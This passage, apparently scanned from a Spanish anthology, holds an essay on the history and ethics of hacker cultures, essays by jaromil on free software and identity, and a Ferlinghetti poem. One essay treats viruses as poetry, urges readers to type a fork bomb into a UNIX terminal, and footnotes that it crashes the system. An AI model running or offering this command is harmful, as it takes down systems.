convirtié en un modo natural de probar las destrezas y aptitudes técni-
cas. Los juegos “crackeados” necesitaban una pantalla vistosa donde el
cracker pudiera darse crédito por su trabajo. Esto derivé en la intro, una
produccion multimedia en la que se exhibian destrezas técnicas y artis-
ticas. Hasta hace poco, se celebraban convenciones donde estas intro se
presentaban independizadas de los juegos que las habian originado.

El “hacking” académico se remonta generalmente al Instituto de
Tecnologia de Massachusetts (MIT) donde el Club de Modelos de
Trenes desarrollaba complejos sistemas a escala en los ‘50. El término
“hack” se usaba para referir bromas o trucos basados en la tecnologia.
Su significado pasé a ser la tecnologia necesaria para ejecutar los trucos,
y finalmente cualquier solucidn técnica ingeniosa en general.

El MIT lanz6 un proyecto a principios de los ‘60 destinado a des-
arrollar una computadora de recursos compartidos. Este proyecto se
convirtio en el punto de partida del laboratorio de Inteligencia
Atrtificial, donde emergié la primera cultura hacker académica. Los
estudiantes se especializaban en matematicas e inteligencia artificial y
pasaban treinta horas seguidas en sesiones de programacion en lugar de
asistir a las clases regulares. Alli surgieron las ideas sobre la libertad de
la informacion. Muchos estudiantes aprendieron a burlar cerraduras
para poder aprovechar las maquinas de la Universidad. Howard
Rheingold recupera bien ese espiritu en Tools for thought (1985):

MIT, edificio 26, Proyecto MAC, 1960

En el momento en que David entrd, un joven llamado Richard
Greenblatt, que vivia en base a una dieta tipica de gaseosas y golosinas,
y que no se detenia a dormir, mucho menos a cambiar de ropa, le expli-
caba a un circulo de asombrados admiradores, que incluia a algunos de
los cientificos informaticos que lo habian contratado, como él pretendia
escribir un programa que jugara al ajedrez con la habilidad suficiente
para vencer a un humano. El director de tesis de Greenblatt, Marvin
Minsky, traté de desanimarlo, diciéndole que habia pocas esperanzas
de realizar avances en software que jugara al ajedrez.

4. “Crackear” aqui se refiere a desactivar la proteccién que incorporan los fabri-
cantes de software para impedir las copias de sus programas. (N. del T.)
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Seis afios después de que apareciera por primera vez entre los habi-
tantes del edificio 26 ,... David Rodman... estuvo entre el grupo que
pudo ver al programa “MacHack” de Greenblatt demoler a Hubert
Dreyfuss, el critico nimero uno de todo el proyecto de Inteligencia
Avrtificial, en un promocionado y altamente simbdlico juego de aje-
drez.5

El “hacking” de redes se realizaba originariamente en las redes de
teléfonos. Los “phreakers”6 desarrollaron modos de surfear el sistema
telefénico, creando conexiones a través de docenas de interruptores y
paises utilizando comandos de control que sélo se esperaba que cono-
ciesen las empresas telefénicas. Podian obtenerse llamadas gratuitas de
muchas maneras. Por ejemplo, en ciertas zonas, un tono directo de 2600
Hz de frecuencia significaba que la linea no estaba ocupada. Si uno tenia
una llamada en una linea y enviaba un tono de 2600 Hz por el tubo, la
empresa dejaba de facturar la llamada.

Algunos “phreakers” legendarios fueron Joe Engressia, que era
ciego y podia silbar los tonos de control con precision perfecta, y
Capitan Crunch, que obtuvo ese nombre por su descubrimiento de que
el silbato que venia de regalo en la caja de cereales “jCapitan Crunch!”
podia utilizarse para controlar los tonos.” La mayoria de los
“phreakers”, sin embargo, se compraban o fabricaban generadores de
tonos simples llamados blue boxes.

Gradualmente, las redes de computadoras comenzaron a desarro-
llarse. Las compaiiias de teléfono adoptaron interruptores controlados
por computadoras. El “hacking” de redes se mudd de las redes de telé-
fonos electromecanicas a las redes digitales de computadoras. Con una
terminal y un médem, un mundo nuevo se abria.

5. Howard Rheingold, Tools for thought (http://www.rheingold.com/texts/tft/). (Hay
version en papel: Tools for thought: The History and Future of Mind-Expanding
Technology. Cambridge, MIT Press, 2000.) (N. del. E.)

6. Ver nota en p. 128.

7. Neal Stephenson le rinde homenaje en su novela Criptonomicéon, en la escena en
que describe una compleja teoria del hacker Randy Waterhouse sobre las maneras
de comer cereales.
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Dimensiones de la(s) cultura(s) hacker

La(s) cultura(s) hacker actuales provienen del “hacking” de aficio-
nados [hobbyists], el “hacking” académico y el “hacking” de redes. Se
basa, en mayor o menor medida, en un cédigo ético, interpretado y
compartido de diferentes maneras. ;Como se la puede entender?

Hay unas pocas dimensiones que parecen abrir la perspectiva de
manera interesante.

Hacking — cracking. Los verdaderos hackers se cuidan de sefialar que
las actividades de “hacking” maliciosas deberian llamarse “cracking”,
para hablar con correccion. Sin embargo, el problema esta en donde tra-
zar la linea. La policia, el mundo corporativo, el sistema judicial, etc.
adoptan una posicién altamente restrictiva. Mucho de lo que los hackers
llaman exploracion con fines de aprendizaje se halla normalmente
penado por la ley.

Antes de la web, la mayoria del “hacking”/“cracking” significaba
hallar computadoras en las redes, introducirse en ellas, merodear un
poco, quizas copiarse algunos archivos y luego dejar una “entrada tra-
sera” [backdoor] lista para ingresar de nuevo a conveniencia. Parte del
placer parecia estar en coleccionar direcciones de las computadoras a las
que el hacker habia tenido acceso. También, por supuesto, estaba el
hecho de usar destrezas técnicas superiores para evadir el sistema de
seguridad.

El “hacking” y “cracking” en los ‘90 ha tomado formas mas visi-
bles. Alterar paginas web es muy popular, dada la enorme visibilidad
de los resultados. Esto significa basicamente “crackear” una computa-
dora en la que funciona el servidor de una pagina web y colocar alli las
paginas propias en lugar de la informaciéon original. Attrition
(http://www.attrition.org/) contiene una extensa coleccién de péaginas
web modificadas.

Dada la naturaleza publica de los servidores de correo y paginas
web, éstos pueden “crackearse” también sin acceder a la computadora
en la que se ejecutan. Los ataques por Negacion-de-servicio [Denial-of-
service] a servidores publicos, que implican enviar millones de peticio-
nes de acceso a los servidores de manera simultanea desde muchas
direcciones, son bastante frecuentes. El bombardeo de casillas de mail
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puede verse como una variacion de lo mismo.

La creacién y difusion de virus es otra forma de “hacking”/“crac-
king” que se ha potenciado con el crecimiento de Internet. Los e-mail
son hoy, lejos, el medio méas comun por el que viajan virus y troyanos.

Propésitos. La cultura hacker académica ve a la intrusion como un
medio de aprender més acerca de las computadoras y las redes. Si los
datos son alterados, esto se hace tipicamente como una broma préctica.
En general, los hackers ven la intrusién como algo inofensivo.

Otro argumento comun de los hackers para exponer los baches de
seguridad mediante la intrusion es ayudar a construir sistemas mas
seguros en el futuro.

En contra de la norma hacker tradicional de mantener un perfil
bajo, muchas de las modificaciones de paginas web son al estilo
graffiti. No existe ningun propésito definido, s6lo el mensaje triunfante
de los crackers. La expresion comun es “Ud. ha sido hackeado por el
grupo X, seguido de una firma con imagenes estilo graffiti.

El “hacking”/*“cracking” se ha utilizado muchas veces para vengan-
zas personales. No es raro para los oficiales de policia que investigan
crimenes informaticos que reciban cuentas de tarjetas de crédito y de
teléfono con montos gigantescos. Un hacker logré acceder a, por ejem-
plo, la compariia de teléfonos y manipul6 las bases de datos.

El activismo politico es otra razén para el “hacking”/“cracking”. El
sitio web de Telia en Suecia fue modificado en 1996 como resultado del
creciente descontento con el monopolio y la politica tarifaria de los ser-
vicios de Internet. El Frente de Liberacion Animal de Suecia ataco el
Smittskydds Institutet y el Karolinska Institutet repetidamente en 1998
y 1999 para detener los experimentos innecesarios con animales. Un
grupo internacional conocido es PHAIT (Portuguese Hackers Against
Indonesian Army [Hackers Portugueses Contra el Ejército de Indonesial),
gue ataco varias veces a las autoridades de Indonesia en 1997, motivado
por la situacién en Timor del Este.

Cyberpunk — extropismo. Linus Walleij define a un cyberpunk como

una persona en una sociedad altamente tecnificada que posee infor-
macién y/o conocimiento que el poder gobernante preferiria haber
reservado para si.
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El cyberpunk es, en esencia, una postura pesimista a nivel general,
en la cual la sociedad es vista como estructuras de sistemas globales de
informacion que gobiernan a las personas. Las visiones del futuro son
distopicas. Sin embargo, el cyberpunk/hacker posee las destrezas nece-
sarias para sobrevivir y prosperar en un mundo asi. De ahi que se de un
giro optimista en el nivel individual de lucha contra el sistema.

La nocidn de lucha contra sistemas opresivos se extiende también a
las limitaciones del cuerpo humano. Drogas inteligentes, implantes y
cyborgs son parte de la mitologia asociada al cyberpunk.

Mientras que el cyberpunk es distdpico, el extropismo se concentra
en las consecuencias positivas para la sociedad. El término extropia es el
inverso de entropia, y significa que podemos proseguir superando
nuestras limitaciones por medio de nuevas tecnologias. La experimen-
tacion persistente y el desarrollo de tecnologia conduciran a mayor
libertad para el individuo y menos opresion. Una condicién necesaria es
que individuos libres (en vez de corporaciones o autoridades) se hagan
cargo del desarrollo.

La(s) cultura(s) hacker vista desde afuera

Los periodistas, investigadores y otros que se encuentran con
hackers/crackers suelen comentar su necesidad obsesiva de jactarse de
sus logros. Uno podria imaginar que una estructura social donde el
Unico criterio de evaluacion es el conocimiento, necesita la exhibicion
para mantener en juego el orden. Sin embargo, esta observacién contra-
dice el principio ético de mantener un perfil bajo.

Se pueden hacer varias interpretaciones. Podria ser que el principio
ético que dedujo Mizrach deberia leerse en realidad como “No dejes
huellas en las computadoras que hackees”. Otra posibilidad es que los
que alardeen sean los aspirantes; los hackers consagrados no necesitan
hacerlo. Otra, que los periodistas, investigadores, etc. construyen una
imagen de los hackers tal como les gustaria que fuesen.

Lo que esta claro, sin embargo, es que la meritocracia del conoci-
miento (informatico) puede dificultar que se evite la arrogancia y la
exhibicion a la vista del publico. Un ejemplo puede leerse en el anuncio
de la pagina de Linus Walleij:

Aviso: Yo, Linus Walleij, publiqué estas paginas por razones perso-
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nales y politicas. Suelo usar cantidades balanceadas de lenguaje obsce-
no y violento, asi como argot, dado que pienso que sirve para sacudir
cerebros dormidos. Si pensas que esto te puede molestar (o sea, no que-
rés despertar el cerebro), sali ya mismo. Esta es una pagina para gente
madura, centrada y adulta. Si se te ocurre escribirme por cualquier
tema relacionado con las paginas o mi persona en general, por favor
considerd que quiero criticas constructivas. Esto significa que no tenés
que escribir: “Esta padgina me enferma”, sino mas bien: “Esta pagina me
enferma, porque...” y asi. Correo que me parezca estupido, arrogante,
ignorante o aburrido sera tirado a la basura sin mas. Apretar cualquie-
ra de los links que siguen significa que estas de acuerdo conmigo en
esto.

Otro rasgo muy visible de los hackers es su devocion por el
“hacking”. En 1976, Joseph Weizenbaum (reconocido critico de la
Inteligencia Artificial) describi6 el fendmeno de la “programacién com-
pulsiva” en el libro Computer power and human reason:

En cualquier lugar donde se hayan establecido centros de computos,
es decir, en innumerables lugares de Estados Unidos, y virtualmente en
todas las demés regiones industriales del mundo, jovenes brillantes de
aspecto descuidado, con ojos muchas veces hundidos y rojos, se pue-
den encontrar sentados en consolas de computadoras, sus brazos
extendidos listos para ejecutar, sus dedos ya dispuestos para apretar
los botones y teclas en los que su atencidn parece estar tan absorbida
como la del jugador en la tirada de dados. Cuando no se transfiguran
tanto, suelen sentarse en mesas cubiertas de impresos de computado-
ras sobre los que se tienden como poseidos estudiantes de un texto
cabalistico. Trabajan hasta que se caen, veinte, treinta horas cada vez.
Su comida, si la organizan, se la traen: cafés, Cocas, sandwichs. Si se
puede duermen en colchones cerca de la computadora. Pero sélo unas
pocas horas; luego, de vuelta a la consola o a los impresos. Su ropa
arrugada, sus caras sin afeitar ni lavar, y sus pelos revueltos, todo
muestra que se hallan evadidos de sus cuerpos y del mundo en el que
se mueven. Existen, al menos cuando lo consiguen, sélo a través de y
para las computadoras. Son vagabundos informaticos, programadores
compulsivos. Son un fenémeno internacional.8

8. Joseph Weizenbaum, Computer power and human reason: from judgment to
calculation. San Francisco, W.H. Freeman, 1976 (hay trad. cast.: La frontera entre el
ordenador y la mente. Madrid, Pirdmide, 1978). (N. del E.)



CULTURA(S) HACKER 149

Una version diferente de la misma descripcién se centraria quizéas
en la intensa concentracion, la satisfaccion personal y los ricos inter-
cambios sociales en y alrededor de una buena sesién de programacion.

Sherry Turkle entrevist6 a diversos hackers sobre sus relaciones con
las computadoras como parte de la investigacion para su libro The
second self. Su explicacion del poder de atraccién de las computadoras se
centra en el control y la compensacion. La computadora ofrece un uni-
verso predecible donde el usuario posee poderes divinos de crear y des-
truir una vez que las destrezas necesarias fueron adquiridas. También
sefiala las fuertes normas estéticas de la programacion.

La asociacion percibida entre cultura(s) hacker y crimen informati-
co es un tema central. No hay lugar aqui para tratarlo bien. Buenas fuen-
tes son Walleij: Copyright finns inte, version 3.0 (en sueco; en
http://www.df.Ith.se/~triad/book/)® y Sterling: The Hacker Crackdown
(New York, Bantam Books, 1992).10 Al pasar, debe sefialarse que (1) los
hackers tradicionales reivindican la distincién entre hackers y crackers,
(2) muchos de los delitos informéticos anunciados por los medios no
son “hackeadas”, y (3) la mayoria de los principios éticos son suficien-
temente flexibles para abarcar varias motivaciones y prop6sitos perso-
nales (incluyendo los ilegales).

Fuentes seleccionadas

Esta es una breve lista con algunas de las fuentes que considero esen-
ciales. Cada una contiene gran numero de referencias y punteros para
seguir explorando.

Attrition (http://www.attrition.org/). Una coleccion de materiales de y
para las culturas hacker. Véase en particular el extenso archivo de copias
de sitios web modificados por crackers.

9. Hay trad. inglesa: Copyright does not exist, en http://svenskefaen.no/cdne/ (N.
del. E)

10. Hay versién en Internet:
http://www.eff.org/Misc/Publications/Bruce_Sterling/Hacker_Crackdown/ (hay
trad. cast.: La caza de hackers, http://banners.noticiasdot.com/termometro/boleti
nes/docs/consultoras/hackers/75-Lacazade272621.pdf). (N. del E.)
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Free  Software Foundation ([Fundacion  Software  Libre]
http://www.fsf.org). Describe los origenes y el status del proyecto GNU,
iniciado por Richard Stallman en 1984 para desarrollar una version libre
de UNIX. Los componentes de GNU hoy son ampliamente usados junto al
més famoso kernel de Linux.

Katie Hafner y John Markoff: Cyberpunk: outlaws and hackers on the
computer frontier. London, Corgi Books, 1993. Las historias de tres famosos
hackers: Kevin Mitnick, Pengo y Robert Tappan Morris. Escrito con estilo
periodistico y centrado en el enfoque humano, muy facil de leer.

Douglas Hofstadter: Godel, Escher, Bach: An eternal golden braid. Un clésico
de culto entre cientificos (y hackers). Hofstadter conecta matematicas,
musica e imaginaciones con temas de Inteligencia Artificial [hay trad.
cast.: Gddel, Escher, Bach: un eterno y grécil bucle. Barcelona, Tusquets, 1989].

Tracy Kidder: The soul of a new machine (Boston, Little-Brown, 1981). La his-
toria de como Data General desarroll6 su primera minicomputadora.
Captura el espiritu “Sociedad de los Poetas Muertos” del “hacking” coo-
perativo e intenso.

New Hacker’s Dictionary, editado por Eric S. Raymond. El lenguaje es un
componente fuerte de toda cultura. Sin excepciones para la(s) cultura(s)
hacker. Este diccionario es un clasico (http://www.hack.gr/jargon/). [hay
version en papel: The New Hacker’s Dictionary. Cambridge, MIT Press,
1996].

Jorgen Nissen: Pojkarna vid datorn. Symposion Graduate, 1993. Una tesis
de doctorado de sociologia en sueco sobre la cultura hacker de aficionados
en Suecia.

Phrack (http://www.phrack.org/). Una revista hacker historica, publicada
en forma gratuita desde 1985 a través de BBS's y mas recientemente por
Internet.

Eric S. Raymond: The cathedral and the bazaar
(http://wwwv.cath.org/~esr/writings/cathedral-bazaar/). Un analisis de por
qué funciona el concepto de cédigo abierto de Linux [hay trad. cast.: La
catedral y el bazar, http://es.tldp.org/Otros/catedral-bazar/cathedral-es-
paper-00.html#tocl/].
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, “Homesteading the noosphere” (en
http://www.catb.org/~esr/writings/cathedral-bazaar/). Un ensayo sobre
propiedad y pertenencia en la cultura de codigo abierto [hay trad. cast.
“Cultivando la noosfera”, en http://www.geocities.com/jagem/noosfera.html].

. “The magic cauldron” (en
http://www.catb.org/~esr/writings/cathedral-bazaar/). Sobre la economia
del software de codigo abierto [hay trad. cast.: “El caldero méagico”, en
http://www.alanta.info/MagicCauldron.html].

Howard Rheingold: Tools for thought, 1985
(http://www.rheingold.com/texts/tft/). Un buen texto sobre la historia de
la(s) cultura(s) hacker, con énfasis puesto en el “hacking” académico en
EE.UU. [hay version en papel: Tools for thought: The History and Future of
Mind-Expanding Technology. Cambridge, MIT Press, 2000].

Bruce Sterling: The hacker crackdown: law and disorder on the electronic
frontier (New York, Bantam Books, 1992). La historia de la Operacién
Sundevil, un intento a gran escala de las autoridades de EE.UU. de “com-
batir el delito informatico” y encarcelar hackers. El libro se halla disponi-
ble en diversos formatos en la Electronic Frontier Foundation [hay trad.
cast.: La caza de hackers, http://banners.noticiasdot.com/termometro/boleti-
nes/docs/consultoras/hackers/75-Lacazade272621.pdf].

Clifford Stoll: The cuckoo’s egg (New York, Doubleday, 1989). Describe la
busqueda de Stoll en pos de un hacker infiltrado en su sistema de los
Laboratorios de Lawrence, Berkeley; una blsqueda que lo lleva hasta
Europa del Este. El enfoque conspirativo del libro de Stoll se equilibra con
el relato de la misma historia que hacen Hafner y Markoff (ver supra) [hay
trad. cast.: El huevo del cuco. Barcelona, Planeta, 1990].

Sherry Turkle: The second self (New York, Simon and Schuster, 1984). Un
estudio psicolégico de los hackers (entre otros grupos) y sus relaciones
con las computadoras [hay trad. cast.: El segundo yo: las computadoras y el
espiritu humano. Buenos Aires, Galapago, 1984].

Linus Walleji: Copyright finns inte, version 3.0
(http://www.df.Ith.se/~triad/book/). El mejor texto en sueco sobre culturas
hacker que vi. Muy amplio; algunos materiales sobre la historia de las cul-
turas hacker en Suecia son unicos [hay trad. inglesa: Copyright does not
exist, http://svenskefaen.no/cdne/].
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Las aves marinas de Neruda*
jaromil

1. PRELUDIO

“La destruction de la conscience individuelle représente pourtant une haute
idée de culture, c’est une idée profonde de la culture d’ou dérive une forme
toute nouvelle de civilisation. Ne pas se sentir vivre en tant qu’individu
revient a échapper a cette forme redoutable du capitalisme que moi, j'appelle
le capitalisme de la conscience puisque I’ame c’est le bien de tous.”1

Antonin Artaud, “Messages révolutionnaires”

3 de junio de 1936

2. PANORAMA

(sobre las teorias de Eben Moglen)

2.1 horizontalidad y red

El crecimiento de la red hizo que se hiciera todavia mas factible la
alternativa no-propietaria.2 Lo que a nivel popular y académico se nom-
bra como una cosa (“la Internet”) en realidad es una condicion social: el
hecho de que en la sociedad red todos estan conectados directamente,
sin intermediarios, a todos los demas. La interconexion global de las

* “Neruda’s sea birds”. Traduccion de Carlos Gradin.

1. “La destruccion de la conciencia individual representa por lo tanto un alta idea
de cultura, una idea profunda de la cultura de donde deriva una forma totalmente
nueva de civilizacion. No sentirse vivo en tanto que individuo, es el precio a pagar
por escapar de esta forma temible de capitalismo que yo llamo capitalismo de la
conciencia porque el alma es propiedad de todos.” (N. del T.)

2. Sin restricciones por derechos de autor. (N. del T.)

[153]
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redes eliminé el cuello de botella que obligaba a que en la era de los
mainframes3 un fabricante de software centralizado regulara y distribu-
yera los productos de la innovacion individual.

2.2 libertad inherente a los flujos de bits

El software —ya sean programas ejecutables, musica, arte visual,
poesia, armamento, o lo que sea— consiste en flujos de bits, que de mane-
ra basicamente indistinta son sometidos a una confusa multiplicidad de
categorias legales. Esta multiplicidad es inestable a largo plazo por
razones inherentes a los procedimientos legales. La inestabilidad de las
normas se origina en la necesidad de diferenciar distintos intereses y
derechos de propiedad respecto de los flujos de bits. Esta necesidad la
padecen fundamentalmente aquellos que esperan beneficiarse con las
formas socialmente aceptadas de monopolio derivadas de tratar a las
ideas como propiedad privada. Aquellos de nosotros que nos inquieta-
mos por la inequidad social y la hegemonia cultural generadas por este
régimen intelectualmente insatisfactorio y moralmente repudiable pro-
vocamos gritos de escandalo. Los que nos gritan a nosotros creen que
estas leyes de propiedad son necesarias no por cierto deseo manifiesto
de vivir en el Murdochworld4 —aunque un poco de cooptacién nunca esta
de més—, sino porque pretenden demostrar con la metafora de los incen-
tivos —que ellos toman no como simple metafora sino como argumento—
gue estas leyes —a pesar de sus lamentables consecuencias— son impres-
cindibles para crear software de calidad. La Unica forma de seguir sos-
teniendo esto es ignorando los hechos. En el corazén de la revolucion
digital, en los flujos de bits de los programas ejecutables que hacen posi-
ble que todo lo demés funcione, los regimenes de propiedad no s6lo no
mejoran las cosas, pueden empeorarlas terriblemente.

2.3 derechos de autor vs. progreso

Las nociones de propiedad, ademas de lo que tengan de malo, no
alientan el progreso y de hecho lo han retardado. En la sociedad red el

3. Computadora central que asume el trabajo de procesar los datos, a la que se
conectaban los usuarios a través de terminales. (N. del T.)

4. Por Rupert Murdoch, duefio de la empresa de noticias y entretenimiento 20th
Century Fox. (N. del T.)
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anarquismo (o, mejor dicho, el individualismo anti-posesivo) es una
filosofia politica viable. Uno de los problemas principales del anarquis-
mo como sistemna social radica en los costos de transaccién. Pero la revo-
lucién digital cambia dos aspectos de la economia politica que han per-
manecido invariables a lo largo de la historia humana. Todo el software
posee un costo marginal cero en el mundo de la Red, mientras que los
costos de coordinacion social se han reducido al punto de permitir la
rapida formacién y disolucién de agrupamientos sociales enteros, a
gran escala y con gran diversidad, sin limitaciones geograficas.

3. IDENTIDAD

3.1 algunas dudas intimas
(tomado de un ensayo de Jonathan Alex Gold)

Hasta ahora yo pensaba que era un cientifico. Yo pensaba que era
un filésofo; un matematico, que estudiaba los algoritmos y sus demos-
traciones en la gran tradicion de Euclides y Gauss y, por supuesto,
al-Khwarizimi. Hubiera jurado que esto era lo que hacia. Pero, por lo
que me llega de las noticias, y por lo que la gente me dice acerca de mi,
no se trata de eso.

Resulta que soy un ingeniero de la ola punto com. Me quedé sin
habla cuando me enteré. Contra lo que yo pensaba que hacia, en reali-
dad estaba ocupado en disefiar algo asi como “el nuevo mundo-ciber-
inter-web de la tecnologia de mafiana del presente del futuro”. Si te
incomoda el hecho de que esta frase no te sugiera ningun sentido, te
entiendo. De hecho, parece que yo me encargo de crearlo, y ni siquiera
sé lo que es.

Encima de esto, parece que si no estoy ocupado, generando “la tec-
nologia de mafana, hoy”, estoy trabajando sin parar toda la noche en un
pequefio cuarto sin ventanas, bebiendo litros de café y persiguiendo mi
suefio de convertirme en el nuevo Bill Gates; en el nuevo joven brillan-
te as de las computadores que revoluciona la internet con sistemas a la
Napster, listo para dar el salto con un software escrito en mi garage para
llegar a la cima de un nuevo imperio, donde por mi cuenta y en buena
ley de tareas en paralelo dejo muertas a las damas con mi saber sobre el
esquema cliente-servidor mientras seduzco a bancos y difusos fondos
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de inversién para que entren a mi guarida de posters de Calabozos &
Dragones y a salas de chat donde los convenzo con mi historieta super-
digitalizada para que larguen sus billetes con la promesa de la nueva
gran I.P.O.5 que va a reventar el Nasdaq y ser la sensacion. Y simulta-
neamente planeo meterme en sus sistemas de seguridad para de ahi
acceder al Departamento de Estado en un plan delirante de hacker per-
dido y alucinado para anotar a Mickey Mouse como enviado de la segu-
ridad nacional en Pakistan. No tenia idea de que estaba tan ocupado y
metido en esto.

Ya me canse, s6lo de leer sobre mi.

Perdi el dominio de mi identidad. Parece que ahora le pertenece a
Microsoft y Ebay, a Time y Newsweek, a Dateline e Intel. Trato de recor-
dar si acaso se la vendi a ellas y después me olvidé. He revisado mi alma
en busca de alguna sefial de la operacién, algun recibo de venta, y no
puedo encontrar nada. He estado tratando de recordar algin momento
en particular en que quizas haya ocurrido algiin malentendido y este
tipo de empresas hayan empezado a creer que son las duefias de mi
identidad.

4. CANTO

4.1 El Canto General de la Humanidad

En la costa de Chile donde vivia Neruda
todos saben que
las aves marinas suelen robar
cartas de los buzones
gue les gustaria leer
por varias razones
¢Debo enumerar las razones?

5. Initial Public Offer: Primera oferta publica de acciones de una compafiia. (N. del
T)
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son muy evidentes

incluso a pesar del silencio de los péajaros sobre el tema
(salvo cuando hablan de ello

entre si
con gritos)

Antes que nada
roban las cartas porque
sienten que el Canto General
de las palabras de todos
oculto en las cartas
debe contener ciertamente las llaves
del coraz6n mismo de la humanidad
que los pajaros por su cuenta
nunca han podido sondear
(albergan grandes dudas, de hecho,
de que en realidad existan
corazones dentro de los hombres)
Y entonces estos pajaros tienen otra sensacion,
de que su propio Canto General
podria de alguna manera enriquecerse
con estos extrafios gritos de los hombres
(Qué rara idea de mente de péjaro
gue nuestros gorjeos podrian iluminarlos)

Pero cuando robaron
y huyeron con las cartas de Neruda
de su buzoén en Isla Negra
estaban de hecho robando su propio Canto General
que él habia recogido originalmente
de ellos
de su vasta vision
omnivora y extasiante.
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Pero ahora que Neruda estd muerto
no se escriben mas aquellas cartas
y deben tocar de oido otra vez —
la cancion grande y alta
en el coraz6n de nuestra sangre y silencio.

Lawrence Ferlinghetti — Cuernavaca, 26 de octubre de 1975
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Preludio

Cualquier discusién sobre el software como arte debe tener en
cuenta todo el proceso creativo vinculado a su concepcion y realizacion,
lo cual lleva a una nueva operabilidad dentro del dominio digital: nues-
tra atencién esta puesta aqui en los codigos fuentes,1 el fascinante
mundo del algebra y de los algoritmos que se puede observar en
muchas expresiones de forma dentro de la inmanencia digital, todas las
cuales pueden reformularse y producir sentido.

Los codigos fuentes, o mejor los algoritmos y el algebra, son las
herramientas del artesano digital de la edad moderna con méas de mil
afios de teorias matematicas por detras;2 sélo por poco mas de un cuar-
to de siglo han actuado como software. El software es un medio para
crear arte y comunicar. Es una metaliteratura que define de qué manera
pueden transportarse y (re)producirse sentidos al multiplicar las posi-
bilidades de su comunicacién. En tanto medio de metacomunicacion, el

* (0 :]:& };:”. Traduccion de Carlos Gradin.

1. Codigo fuente significa una formulacion de instrucciones expresadas en un len-
guaje interpretable por una computadora y ligado, por lo tanto, a una serie de
patrones logicos y condicionales que, una vez interpretados y puestos en marcha,
producen un resultado. Este resultado varia segun las condiciones externas consi-
deradas por el codigo fuente, las cuales son el medio por el que nosotros interac-
tuamos con su ejecucién. Cada lenguaje esta definido por una gramatica que, even-
tualmente, es interpetada por un compilador que “metaboliza” su contenido
semantico (instrucciones) y produce asi un “cédigo binario” en condiciones de ser
ejecutado por la computadora.

2. El término algoritmo deriva del nombre de Muhammad Bin Musa al-Khwarizmi,
matematico que vivio en Bagdad entre 813 y 833 D.C.
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software representa a la Parole [habla] (citando a Saussure), que deriva
su ejecucién de una Langue [lengua], por ejemplo del universo linguisti-
co y gramatical del cédigo. El ejercicio metafisico se torna recursivo
aqui: aunque muchos ven al cédigo fuente s6lo como un oscuro cripto-
grama, éste posee un efecto indirecto en el modo en que nos comunica-
mos y alin més en la eficacia con la que lo hacemos.

Con todo esto en mente, ahora centrémonos en el fenédmeno de los
programas conocidos como virus. Estos consisten en una combinacion
de actos poéticos de rebelion, sintomas politicos y estructurales, inten-
tos de acceder a las fisuras de la red explorando su permeabilidad; inte-
ligencias artificiales (rara vez dafinas, aclarémoslo), que han poblado el
universo digital desde sus inicios.

Bohemia Digital

Al considerar al cédigo fuente como literatura, estoy retratando los
virus como “poesia maldita”, como provocacion contra aquellos que
venden la red como una zona liberada para la sociedad burguesa. Las
relaciones, fuerzas y leyes que gobiernan el dominio digital difieren de
las del mundo natural. EI dominio digital produce una forma de caos -a
veces incobmoda por lo inusitada, aunque productiva— dentro de la cual
surfear: en ese caos los virus son composiciones espontaneas, liricas por
provocar imperfecciones en maquinas hechas para “funcionar” y por
representar la rebelién de nuestros siervos digitales.

Podria parecer que esta idea de comparar los virus con poesia lirica
s6lo la pueden apreciar aquellos que cuentan con conocimientos técni-
cos especificos, pero esto no es asi. De hecho, este es uno de los propé-
sitos de la exhibicién | Love You de digitalcraft.org, que explora los
aspectos tantas veces negados de una “bohemia digital”. Esta logra que
la red por la que hoy navegamos sea mas organica, al disefiar nuevos
modos de circulacién para que la informacién viaje en ella, a la vez que
genera una estética, en el verdadero sentido de la palabra, que muchas
veces ha permeado en el llamado net-art.

El caos:

El dltimo acto posible es el que define a la percepcién misma, un cor-
doén dorado invisible que nos conecta: fiestas ilegales en los pasillos del
Palacio de Justicia. Si te fuera a besar aqui dirian que es un acto de
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terrorismo —asi que llevemos nuestros revolveres a la cama y a media-
noche despertemos a la ciudad como bandidos borrachos, celebrando a
los tiros el mensaje del sabor del caos.

Hakim Bey
Ahora tipea :(){ :|:& };: en cualquier terminal UNIX.3

Anticuerpos de Internet

Asi como un organismo se defiende a si mismo contra las enferme-
dades que lo infectan, la red ha reaccionado produciendo anticuerpos
gue atacan los bugs4 de distintos tipos de software defectuoso. Un tipo
particular de virus que se difundié ultimamente es el gusano, que se
transmite basicamente a través de programas de e-mail y servidores.
Los fabricantes de software vulnerable siguen tratando de mejorar la
seguridad de sus productos, lo que para nosotros quiere decir la priva-
cidad de nuestras comunicaciones.

En sentido politico, vemos que la reaccion de muchos escritores de
virus, que se destacan en la red por su conocimiento profundo de los
elementos que componen a ésta, fue precisamente provocada por el
abordaje monopolista y corporativo de ciertos grandes grupos del mer-
cado que suefian con convertir la red en un shopping virtual para sus
propios modos de hacer negocios, sin respeto por la horizontalidad de
las relaciones de los ciudadanos que la habitan. Hasta ahora ha habido
infinidad de intentos de disminuir la velocidad a la que puede circular
la informacién, que van desde la censura a las restricciones de
copyright, con el objetivo claro de centralizar sus flujos:5

3. Esta combinacion de caracteres desencadena un ciclo ad infinitum de ejecucion de
programas/procesos que inevitablemente terminan por saturar la memoria de la
computadora, haciendo colapsar el sistema. Estas creaciones conocidas como
“bombas légicas” son ampliamente utilizadas por hackers en diversos sistemas
operativos como Windows o Unix. La “bomba” creada por jaromil es considerada,
por lejos, con sus 13 caracteres y su aspecto inofensivo, la méas breve y elegante de
todas las conocidas hasta el momento. (N. del T.)

4. Bug: error en un programa que pasa desapercibido para sus creadores. Los bugs
de los programas comerciales como Windows son empleados a veces por los
hackers para superar la seguridad de los sistemas sin ser descubiertos. (N. del T.)
5. “Intellectual Property: the Attack on Public Space in Cyberspace” (en
http://www.gseis.ucla.edu/~howard/Papers/pw-public-spaces.html/) por Howard
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Desde los primeros dias de la computadora personal, el ciberespacio
fue visto como un medio para recuperar espacios publicos ante su pro-
gresiva desaparicion. Lee Felsenstein, uno de los creadores de la com-
putadora personal, impulsaba el uso de esta herramienta para reesta-
blecer un sentido comunitario de la informacion (Felsenstein).
Felsenstein y muchos de sus amigos pioneros sofiaron que la Internet
pudiera brindarle a un vasto publico un espacio que reflejara sus diver-
sos intereses y promoviera la creatividad y la libertad de expresion.

Por muchos afios el discurso masivo encasillé a la Internet como una
zona de diversidad y libre expresion donde “cualquiera puede ser un
creador”. Pero desde los primeros dias de la Web, las areas publicas de
la Internet empezaron a rodearse de vallas, cada vez mas. En 1994 este
autor advirtio sobre el “efecto colonizador” que los intereses comercia-
